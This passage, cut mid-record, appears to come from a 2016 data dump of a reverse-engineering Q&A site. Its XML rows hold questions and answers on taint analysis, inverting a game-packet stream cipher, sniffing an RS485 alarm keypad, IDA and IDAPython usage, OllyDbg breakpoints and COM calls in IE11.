same output when given to &lt;code&gt;S&lt;/code&gt; and &lt;code&gt;P&lt;/code&gt;&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Taint analysis&lt;/strong&gt; can be seen as a form of Information Flow Analysis. A more formal definition ripped from &lt;a href=&quot;http://web.cs.iastate.edu/~weile/cs513x/5.TaintAnalysis1.pdf&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Information flows from object x to object y, denoted x→y , whenever&#xA;  Information stored in x is transferred to, object y.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="15907" LastActivityDate="2016-09-10T10:58:17.837" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13483" PostTypeId="1" AcceptedAnswerId="13485" CreationDate="2016-09-10T15:35:36.460" Score="4" ViewCount="3771" Body="&lt;p&gt;I would like to ask if you have any idea or approach to reverse engineer a decryption algorithm to find the opposite encryption function.&#xA;I do have all required keys and fields and of course the decryption source code, which I reverse engineered already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have analyzed the code and kinda know how it works but can`t figure out how to reverse (in the sense of undoing the encryption of) it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following information is available to me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// I have all these fields (filled correctly)&#xA;&#xA;    public byte[] Keychain;&#xA;    public uint Step, Mul, HeaderXor, Key;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The decryption function looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public void Decrypt(byte[] packet) {&#xA;        fixed (byte* pp = packet, pk = Keychain) {&#xA;            uint size = (uint)GetPacketSize(packet);&#xA;            uint header = (first) ? /* Checks if it is a partial packet (It isnt!)*/&#xA;                0x000eb7e2 :&#xA;                *((uint*)&amp;amp;pp[0]) ^ HeaderXor; &#xA;                // HeaderXor is an unsigned int&#xA;                // It also changes after each decryption and if the key changes&#xA;&#xA;            if (first) &#xA;                first = false;&#xA;&#xA;            uint token = *((uint*)&amp;amp;pp[0]);&#xA;            *((uint*)&amp;amp;pp[0]) = header;&#xA;            token &amp;amp;= 0x3FFF;    // Get only last 14 bits&#xA;            token *= Mul * 4;   &#xA;            // Mul is an unsigned int and changes sometimes&#xA;            token = *((uint*)&amp;amp;pk[token]);&#xA;&#xA;            uint i, r, t;&#xA;            size -= r = (size - 8) &amp;amp; 3; // Make size dividable by 4&#xA;&#xA;            for (i = 8; i &amp;lt; size; i += 4) {&#xA;                t = *((uint*)&amp;amp;pp[i]);&#xA;                token ^= t;&#xA;                *((uint*)&amp;amp;pp[i]) = token;&#xA;&#xA;                t &amp;amp;= 0x3FFF;&#xA;                token = *((uint*)&amp;amp;pk[t * Mul * 4]);&#xA;            }&#xA;&#xA;            t = 0xFFFFFFFF &amp;gt;&amp;gt; 8 * (4 - (int)r);&#xA;            token &amp;amp;= t;&#xA;            *((uint*)&amp;amp;pp[i]) ^= token; // If something is left over ( if size - 8 == 5 then size &amp;amp; 3 has rest of 1)&#xA;            * ((uint*)&amp;amp;pp[4]) = 0;&#xA;&#xA;            Step++;&#xA;            Step &amp;amp;= 0x3FFF;&#xA;            HeaderXor = *((uint*)&amp;amp;pk[Step * Mul * 4]);&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Example results:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Encrypted data&#xA;// 5b 54 34 23&#xA;// cc c2 5a a3&#xA;// 81 7e d6 27&#xA;// 36 c4 8f 36&#xA;// b9 3b 6f ce&#xA;// f4 8e 72 5b&#xA;// &#xA;// Decrypted data&#xA;// e2 b7 18 00&#xA;// 00 00 00 00&#xA;// be 00 56 00&#xA;// 2f 00 58 00&#xA;// 30 00 59 00&#xA;// 31 00 01 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, do you have any approach ?&#xA;Maybe this source code can offer some more informations, but its Server-To-Client:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitbucket.org/dignityteam/minerva/src/e149a219b6783070de71820ea359f1b27cebda63/src/ObjectBuddy/Cryption.cs?at=develop&amp;amp;fileviewer=file-view-default&quot; rel=&quot;nofollow&quot;&gt;https://bitbucket.org/dignityteam/minerva/src/e149a219b6783070de71820ea359f1b27cebda63/src/ObjectBuddy/Cryption.cs?at=develop&amp;amp;fileviewer=file-view-default&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think, the Server-To-Client encryption is not the right thing. The decryption code I posted above does returns right results but is not the same as you can see at the linked page.&lt;/p&gt;&#xA;" OwnerUserId="17410" LastEditorUserId="2147" LastEditDate="2016-11-01T07:21:56.227" LastActivityDate="2016-11-01T07:21:56.227" Title="Having keys and binary, how do I reverse/decrypt a stream encryption?" Tags="|encryption|decryption|cryptography|c#|cryptanalysis|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13484" PostTypeId="1" AcceptedAnswerId="13612" CreationDate="2016-09-10T19:26:23.320" Score="4" ViewCount="316" Body="&lt;p&gt;&lt;br&gt;&#xA;I'm trying to recycle an Anti-theft system keypad.&lt;br&gt;&#xA;My goal is use this keypad as my system peripheral.&lt;br&gt;&#xA;This keypad is interfaced with its master device phisically using bus &lt;strong&gt;rs485&lt;/strong&gt;.&lt;br&gt;&#xA;The first step in order to exploit this keyboard, is understand the communication between this two devices, the master and its keypad.&lt;br&gt;&#xA;My first idea have been tap the bus and sniff the traffic.&lt;br&gt;&#xA;Doing this, I collected few dumps of estabilished dialogs between those two devices, but because the  tap, I can't have any idea of the direction the bytes I logged.&lt;br&gt;&#xA;So my second step have been play the &lt;em&gt;man-in-the-middle&lt;/em&gt; game.&lt;br&gt;&lt;br&gt;&#xA;I setup a device to put between the master and its keypad cutting the bus and using two transceiver, one facing the master an another facing the keypad.&lt;br&gt;&#xA;Then I wrote a simple program to forward everything from an interface to another.&lt;br&gt;&#xA;In this scenario however, it seems keypad does not react to the messages sent by its master, received by my device ad forwarded to it.&lt;br&gt;&#xA;Having the feeling something in the transmission could be wrong, the rs485 chip on my usb dongle and the one on the keypad are different (&lt;strong&gt;sipex sp485ec&lt;/strong&gt; keypad - &lt;strong&gt;st 485ecdr&lt;/strong&gt; usb dongle), I tried to tap directly a logic analyzer to the serial pin on the microcontroller. Doing this I verified that sending bytes through my usbdongle I could receive them on the pins on the MCU.&lt;br&gt;&lt;br&gt;&lt;br&gt;&#xA;Can someone give me any direction to step forward my project?&lt;/p&gt;&#xA;" OwnerUserId="17411" LastActivityDate="2016-09-28T19:46:01.437" Title="Anti-theft system rs485 keypad" Tags="|serial-communication|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13485" PostTypeId="2" ParentId="13483" CreationDate="2016-09-10T20:51:33.523" Score="5" Body="&lt;p&gt;Good news, You're lucky!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you're facing in front of you is a &lt;a href=&quot;https://en.wikipedia.org/wiki/Stream_cipher&quot; rel=&quot;noreferrer&quot;&gt;stream cipher&lt;/a&gt;. Why is that good? because the way stream ciphers are built makes them extremely easy to reverse - the decryption and encryption functions of stream ciphers are actually the same function.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A stream cipher is a symmetric key cipher where plaintext digits are combined with a pseudorandom cipher digit stream (keystream). In a stream cipher each plaintext digit is encrypted one at a time with the corresponding digit of the keystream, to give a digit of the ciphertext stream. Since encryption of each digit is dependent on the current state of the cipher, it is also known as state cipher. In practice, a digit is typically a bit and the combining operation an exclusive-or (XOR).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Stream ciphers are basically generating a sequence (or a stream) of bytes, and those bytes are mixed with the message in a byte-per-byte fashion, nearly always using a &lt;a href=&quot;https://en.wikipedia.org/wiki/Exclusive_or&quot; rel=&quot;noreferrer&quot;&gt;XOR&lt;/a&gt; operation. That's also the case with your function, see the line &lt;code&gt;token ^= t;&lt;/code&gt;. Since two XOR operations with the same value cancel each other, XORing a byte of the encrypted message with the same stream again on the receiving end will actually decrypt it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have the keys and all input needed to generate the stream in the first place, simply applying the same function again will provide you with the original message.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2016-09-11T20:28:59.680" LastActivityDate="2016-09-11T20:28:59.680" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="13488" PostTypeId="2" ParentId="13481" CreationDate="2016-09-11T04:59:57.597" Score="0" Body="&lt;p&gt;I'd say they are essentially the same, with slightly different focus:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Program slicing&lt;/em&gt; is, strictly, extracting &lt;em&gt;code&lt;/em&gt; that operates on specific variables/memory, while omitting all other code;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Taint analysis&lt;/em&gt; is tracking which &lt;em&gt;other&lt;/em&gt; variables/memory are affected, via that code, by the ones you chose. Also, tainted data is usually stricter defined as &quot;user-controllable data&quot;, while slicing can be done on any var.&lt;/p&gt;&#xA;" OwnerUserId="1358" LastActivityDate="2016-09-11T04:59:57.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13489" PostTypeId="2" ParentId="6856" CreationDate="2016-09-11T14:33:50.300" Score="1" Body="&lt;p&gt;I once had a set of receipts and chewed through the statistics of how often the symbols are repeated.  That shows that there most likely are 256 symbols, which would make the row of symbols contain 96 = 12 * 8 bits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.ietf.org/mail-archive/web/81attendees/current/msg00986.html&quot; rel=&quot;nofollow&quot;&gt;https://www.ietf.org/mail-archive/web/81attendees/current/msg00986.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Checking the Unicode charts, almost all of the symbols are on the page U+22xx, &quot;Mathematical symbols&quot;.  I haven't tracked down the rest, some of which are seriously obscure, but some seem to be sans-serif Hebrew letters. I am guessing that the symbols not in U+22xx are to replace some symbols on that page that are too much like others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There doesn't seem to be any ordinary data processing purpose that the symbols could serve, since any information you wanted to be machine processable you'd put in the barcode.  My guess is that the symbols are a hash, summary, or subset of the information in the barcode and function as a &quot;receipt number&quot; that the &lt;em&gt;recipient&lt;/em&gt; can read, so that if two buyers purchase the same thing, the establishment cannot give them two copies of one (recorded) receipt but rather has to record two receipts to give to each of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This explanation accounts for why the symbols are easily human recognizable.  It is also based on an experience in the Musée de la civilisation à Québec:  I purchased a tea from the cafe, and my companion purchased a tea as well, immediately after me, from the same cashier.  Our receipts had the same line of symbols, a surpasingly unlikely event, which suggests that we received duplicate copies of one recorded receipt.&lt;/p&gt;&#xA;" OwnerUserId="17418" LastActivityDate="2016-09-11T14:33:50.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13490" PostTypeId="2" ParentId="8806" CreationDate="2016-09-11T23:57:03.500" Score="2" Body="&lt;p&gt;You get these errors because you're trying to use &lt;code&gt;ctypes&lt;/code&gt;, which calls &lt;em&gt;native&lt;/em&gt; functions from python using conversions from python objects to low-level C-like types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously, a python exception is not something ctypes can convert to native representation, so it fails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a really simple way to call IDC code from within IDAPython, using &lt;code&gt;idc.Eval&lt;/code&gt;, like the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;idc.Eval(&quot;EmuStepOne();&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2016-09-11T23:57:03.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13491" PostTypeId="2" ParentId="9485" CreationDate="2016-09-12T00:34:28.170" Score="8" Body="&lt;p&gt;To set register as an offset to a structure in a sequence of assembly code, you'll need to select that sequence and then hit &lt;kbd&gt;T&lt;/kbd&gt;. A pop up dialog called &quot;Structure offsets&quot; will appear, where you can supply the register and structure it points to, and you'll see all references IDA recognized using it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets take the following code snippet taken from calc.exe for example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/abcBG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/abcBG.png&quot; alt=&quot;Example of initial state&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After selecting the relevant code and hitting &lt;kbd&gt;T&lt;/kbd&gt; IDA automatically identified we're setting the &lt;code&gt;ECX&lt;/code&gt; register, suggests possible valid structures to the left and the offsets and the selected structure's values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/VrXAH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VrXAH.png&quot; alt=&quot;Structure offsets dialog&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After assigning a valid structure, the code looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/wWyYN.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wWyYN.png&quot; alt=&quot;code after structure offset assignment&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please notice the following caveats/remarks:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;IDA completely ignored the &lt;code&gt;add ecx, 4&lt;/code&gt; line and additionally did not handle the &lt;code&gt;mov [ecx+eax*2], dx&lt;/code&gt; too well because of that. Hitting &lt;kbd&gt;T&lt;/kbd&gt; for that specific line and suppling a non-zero offset delta will let you handle that properly, albeit manually.  &lt;/li&gt;&#xA;&lt;li&gt;As mentioned in the comments, manually setting a register's name completely disables all IDA's representation of the register and instead displays the user supplied free text. This means any offset definitions will be hidden by any register custom name.&lt;/li&gt;&#xA;&lt;li&gt;If you've seen &lt;code&gt;[ebp+0f14h]&lt;/code&gt;, the structure's size is &lt;em&gt;at least&lt;/em&gt; 0xF15 bytes, as the structure is being written to at offset &lt;code&gt;0x0F14&lt;/code&gt;, meaning at least 0xF15 bytes are available to it. If you've seen &lt;code&gt;DWORD [ebp+0f14h]&lt;/code&gt; the structure is at least &lt;code&gt;0x0F18&lt;/code&gt; bytes long.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Those caveats are at least partially mitigated by third party tools like &lt;a href=&quot;https://sark.readthedocs.io/en/latest/plugins/autostruct.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Autostruct&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2016-09-29T08:31:52.467" LastActivityDate="2016-09-29T08:31:52.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13492" PostTypeId="2" ParentId="11075" CreationDate="2016-09-12T06:36:46.633" Score="1" Body="&lt;p&gt;Sadly, there is no out-of-the-box solution. Even in academic research, most projects tackling this issue are heavily restricted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be able to reconstruct the control flow graph, you would need information about all possible values for the arguments of &lt;strong&gt;objc_msgSend&lt;/strong&gt; in order to figure out which function is invoked on which object. This problem is potentially unsolvable but can be approximated, for example using backward-slicing and taint analysis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, you should be able to reconstruct most calls in benign software using this method. Based on the recovered parameters, you can insert function stubs and redirect the call in order to generate a more expressive CFG.&lt;/p&gt;&#xA;" OwnerUserId="3162" LastActivityDate="2016-09-12T06:36:46.633" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13493" PostTypeId="2" ParentId="13480" CreationDate="2016-09-12T07:31:20.060" Score="3" Body="&lt;p&gt;The &lt;code&gt;update&lt;/code&gt; methods of actions are usually called when the relevant GUI components (usually various IDA views) are refreshed. To make things speedier, IDA avoids refreshing views until such a refresh is required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When scripting IDA, we often make changes without touching the GUI, so IDA has no way of telling when a change is done and it should refresh. To solve this, we can use the &lt;code&gt;idaapi.request_refresh(mask)&lt;/code&gt; function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;idaapi.request_refresh(0xFFFFFFFF)  # IWID_ALL&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To refresh a specific view, use a mask made of the following constants (documented &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/sdkdoc/group___i_w_i_d__.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#define IWID_EXPORTS  (1u &amp;lt;&amp;lt; BWN_EXPORTS) ///&amp;lt; exports           (0)&#xA;#define IWID_IMPORTS  (1u &amp;lt;&amp;lt; BWN_IMPORTS) ///&amp;lt; imports           (1)&#xA;#define IWID_NAMES    (1u &amp;lt;&amp;lt; BWN_NAMES  ) ///&amp;lt; names             (2)&#xA;#define IWID_FUNCS    (1u &amp;lt;&amp;lt; BWN_FUNCS  ) ///&amp;lt; functions         (3)&#xA;#define IWID_STRINGS  (1u &amp;lt;&amp;lt; BWN_STRINGS) ///&amp;lt; strings           (4)&#xA;#define IWID_SEGS     (1u &amp;lt;&amp;lt; BWN_SEGS   ) ///&amp;lt; segments          (5)&#xA;#define IWID_SEGREGS  (1u &amp;lt;&amp;lt; BWN_SEGREGS) ///&amp;lt; segment registers (6)&#xA;#define IWID_SELS     (1u &amp;lt;&amp;lt; BWN_SELS   ) ///&amp;lt; selectors         (7)&#xA;#define IWID_SIGNS    (1u &amp;lt;&amp;lt; BWN_SIGNS  ) ///&amp;lt; signatures        (8)&#xA;#define IWID_TILS     (1u &amp;lt;&amp;lt; BWN_TILS   ) ///&amp;lt; type libraries    (9)&#xA;#define IWID_LOCTYPS  (1u &amp;lt;&amp;lt; BWN_LOCTYPS) ///&amp;lt; local types       (10)&#xA;#define IWID_CALLS    (1u &amp;lt;&amp;lt; BWN_CALLS  ) ///&amp;lt; function calls    (11)&#xA;#define IWID_PROBS    (1u &amp;lt;&amp;lt; BWN_PROBS  ) ///&amp;lt; problems          (12)&#xA;#define IWID_BPTS     (1u &amp;lt;&amp;lt; BWN_BPTS   ) ///&amp;lt; breakpoints       (13)&#xA;#define IWID_THREADS  (1u &amp;lt;&amp;lt; BWN_THREADS) ///&amp;lt; threads           (14)&#xA;#define IWID_MODULES  (1u &amp;lt;&amp;lt; BWN_MODULES) ///&amp;lt; modules           (15)&#xA;#define IWID_TRACE    (1u &amp;lt;&amp;lt; BWN_TRACE  ) ///&amp;lt; trace view        (16)&#xA;#define IWID_STACK    (1u &amp;lt;&amp;lt; BWN_STACK  ) ///&amp;lt; call stack        (17)&#xA;#define IWID_XREFS    (1u &amp;lt;&amp;lt; BWN_XREFS  ) ///&amp;lt; xrefs             (18)&#xA;#define IWID_SEARCHS  (1u &amp;lt;&amp;lt; BWN_SEARCH ) ///&amp;lt; search results    (19)&#xA;#define IWID_FRAME    (1u &amp;lt;&amp;lt; BWN_FRAME  ) ///&amp;lt; function frame    (25)&#xA;#define IWID_NAVBAND  (1u &amp;lt;&amp;lt; BWN_NAVBAND) ///&amp;lt; navigation band   (26)&#xA;#define IWID_ENUMS    (1u &amp;lt;&amp;lt; BWN_ENUMS  ) ///&amp;lt; enumerations      (27)&#xA;#define IWID_STRUCTS  (1u &amp;lt;&amp;lt; BWN_STRUCTS) ///&amp;lt; structures        (28)&#xA;#define IWID_DISASMS  (1u &amp;lt;&amp;lt; BWN_DISASM ) ///&amp;lt; disassembly views (29)&#xA;#define IWID_DUMPS    (1u &amp;lt;&amp;lt; BWN_DUMP   ) ///&amp;lt; hex dumps         (30)&#xA;#define IWID_NOTEPAD  (1u &amp;lt;&amp;lt; BWN_NOTEPAD) ///&amp;lt; notepad           (31)&#xA;#define IWID_IDAMEMOS (IWID_DISASMS|IWID_DUMPS)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12872" LastEditorUserId="2147" LastEditDate="2016-09-12T07:34:13.237" LastActivityDate="2016-09-12T07:34:13.237" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13495" PostTypeId="1" AcceptedAnswerId="13496" CreationDate="2016-09-12T10:22:34.590" Score="0" ViewCount="628" Body="&lt;p&gt;I am relatively new to the world of RE.&#xA;So, I am playing with a program, which relies on multiple dlls.&#xA;I am using 32 bit OllyDbg 2.01, and can’t put permanent breakpoints in one dll, others are fine, just this one is making problems.&#xA;Olly accepts breakpoints in session, but forgets their locations after the program gets restarted (meaning all BPs get deleted in this one dll).&#xA;Analysis of this dll outputs in olly message “Quick statistical test of module reports that its code section is either compressed, encrypted, or contains large amount of embedded data. Results of code analysis can be very unrealiable or simply wrong. Do you want to continue analysis?”.&#xA;I have tried using PEiD and nothing was found.&#xA;I can open dll with a simple hex editor and find all op code hex data, so I think the dll is not encrypted or packed, and it has to do with Olly dbg.&#xA;Can anyone give any suggestion? &lt;/p&gt;&#xA;" OwnerUserId="17424" LastActivityDate="2016-09-12T11:04:55.650" Title="OllyDbg can't set permanent breakpoint" Tags="|ollydbg|dll|breakpoint|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13496" PostTypeId="2" ParentId="13495" CreationDate="2016-09-12T11:04:55.650" Score="0" Body="&lt;p&gt;Is this library dynamically loaded? (At runtime, e.g. using API like LoadLibaray, LdrLoadDll)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you may need to set your breakpoints dynamically as well. For example, using Olly's scripting capabilities. If the library is always loaded at the same offset, memory breakpoints could also prove useful.&lt;/p&gt;&#xA;" OwnerUserId="3162" LastActivityDate="2016-09-12T11:04:55.650" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13498" PostTypeId="1" CreationDate="2016-09-12T18:00:17.053" Score="1" ViewCount="1255" Body="&lt;p&gt;So I heard that bacon (OnePlus One) got the camera working on custom ROMs by reverse engineering the camera blobs. I tried reading online, but I didn't have a proper link for this matter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the problem is the following, I'm owning the Sony Xperia Z3 Compact (codename &quot;aries&quot;), which stopped receiving Android updates (starting from Nougat), but in terms of custom ROMs based on CM or AOSP, the camera is not working. The device trees and the other files can be found on the freexperia github (&lt;a href=&quot;https://github.com/sonyxperiadev?tab=repositories&quot; rel=&quot;nofollow&quot;&gt;https://github.com/sonyxperiadev?tab=repositories&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reading the posts on XDA Developers I came across someone who claimed that by doing reverse engineering on the camera blobs, the camera might start working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is: are there any methods or tutorials regarding reverse engineering? Or any solutions for the problem that I asked earlier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="17430" LastActivityDate="2016-09-18T18:03:28.037" Title="Reverse engineering camera blobs in Android" Tags="|android|development|" AnswerCount="1" CommentCount="2" ClosedDate="2016-09-21T08:57:38.253" ContentLicense="CC BY-SA 3.0" />
  <row Id="13500" PostTypeId="1" CreationDate="2016-09-13T14:53:25.860" Score="1" ViewCount="91" Body="&lt;p&gt;I'm quite new to COM object reversing (Windows Platform). I'm trying to reverse Internet Explorer on Windows 8.1, where child IE process communicates with Parent IE process via com (Due to Protected Mode). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is an ASM snippet of a virtual function from ieframe.dll ( Part of class CShellUIHelper) which responsible for a COM operation (I've MS public symbol.)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CShellUIHelper::XX_XX{&#xA;&#xA;..&#xA;..&#xA;    mov     eax, [ebp+var_2BC]&#xA;    lea     edx, [ebp+Filename]&#xA;    mov     edi, esp&#xA;    push    edx&#xA;    push    [ebp+var_2AC]&#xA;    mov     esi, [eax]&#xA;    push    ecx             ; _DWORD&#xA;    push    eax             ; _DWORD&#xA;    mov     esi, [esi+25Ch]&#xA;    mov     ecx, esi        ; _DWORD&#xA;    call    ds:___guard_check_icall_fptr&#xA;    call    esi             ; call {combase!ObjectStublessClient30+0x5c0&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here its calling a COM interface method at last line using &lt;code&gt;call esi&lt;/code&gt; instruction which is actually &lt;code&gt;call [esi+025Ch]&lt;/code&gt;. Runtime i've found its actually calling combase!ObjectStublessClient30(x,x)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here I want to find the interface method name its calling using combase!ObjectStublessClient30(). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To find the method name I'm follwing &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2822/com-interface-methods&quot;&gt;this&lt;/a&gt; RE.SE Answer, which looks pretty similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the problem is, in this answer the interface name was known which is IShellWindows, but in my case the I dont know the interface name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm stuck at this point. So my questions is what path I should follow to find out the interface name and method name.?&lt;/p&gt;&#xA;" OwnerUserId="11562" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2016-09-13T16:32:14.840" Title="Understanding IE11's Ineterprocess Communication via COM" Tags="|ida|disassembly|windows|com|virtual-functions|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13501" PostTypeId="1" CreationDate="2016-09-13T15:11:11.627" Score="0" ViewCount="437" Body="&lt;p&gt;So i have an structure, let's say it's name is Foo and it's size is 0xAC size and it's initializated in a function like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Foo foo;&#xA;qmemcpy(&amp;amp;foo, &amp;amp;g_Foo, 0xAC);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How i can change  the last argument to be &lt;code&gt;sizeof(Foo)&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="12907" LastActivityDate="2016-09-15T07:29:15.480" Title="Change number to sizeof operator" Tags="|ida|hexrays|" AnswerCount="1" CommentCount="2" ClosedDate="2016-09-19T09:04:49.130" ContentLicense="CC BY-SA 3.0" />
  <row Id="13506" PostTypeId="2" ParentId="12087" CreationDate="2016-09-14T23:28:26.110" Score="1" Body="&lt;p&gt;Unfortunately there's not such option built into IDA, however you can write an &lt;a href=&quot;https://github.com/idapython&quot; rel=&quot;nofollow&quot;&gt;IDAPython&lt;/a&gt; script for that, using some &lt;a href=&quot;https://github.com/idapython/src/blob/master/examples/ex_uihook.py&quot; rel=&quot;nofollow&quot;&gt;UI&lt;/a&gt; and/or &lt;a href=&quot;https://github.com/idapython/src/blob/master/examples/debughook.py&quot; rel=&quot;nofollow&quot;&gt;DBG&lt;/a&gt; hooks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By hooking any time the debugger pauses and scanning register/stack addresses and adding comments (which will be visible).&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2016-09-14T23:28:26.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13507" PostTypeId="2" ParentId="12053" CreationDate="2016-09-14T23:48:41.147" Score="-1" Body="&lt;p&gt;Other than dynamic analysis (like suggested in the comments) there's no way to get that information from IDA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDA does not maintain a complete &lt;a href=&quot;https://en.wikipedia.org/wiki/Intermediate_representation&quot; rel=&quot;nofollow&quot;&gt;Intermediate Representation&lt;/a&gt; (also called &lt;em&gt;intermediate language&lt;/em&gt;) and that sort of information is unavailable to IDA, mostly because it's unneeded for implementation of disassemblers. It is however needed for decompilers, so  &lt;a href=&quot;https://www.hex-rays.com/products/decompiler/&quot; rel=&quot;nofollow&quot;&gt;hex-rays decompiler&lt;/a&gt; probably implements a more complete IR but doesn't make it accessible to the user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually using IL each assembly instruction is translated into multiple &lt;em&gt;intermediate language&lt;/em&gt; instructions, which together achieve the same goal as the original instruction. This turns instructions into operations that are less complex and are easier to manipulate/process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are open source tools that provide or implement an IL such as &lt;a href=&quot;https://github.com/Cr4sh/openreil&quot; rel=&quot;nofollow&quot;&gt;OpenREIL&lt;/a&gt;, which you could use outside of IDA (Specifically it has the &lt;code&gt;STM&lt;/code&gt; and &lt;code&gt;LDM&lt;/code&gt; instructions).&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2016-09-14T23:48:41.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
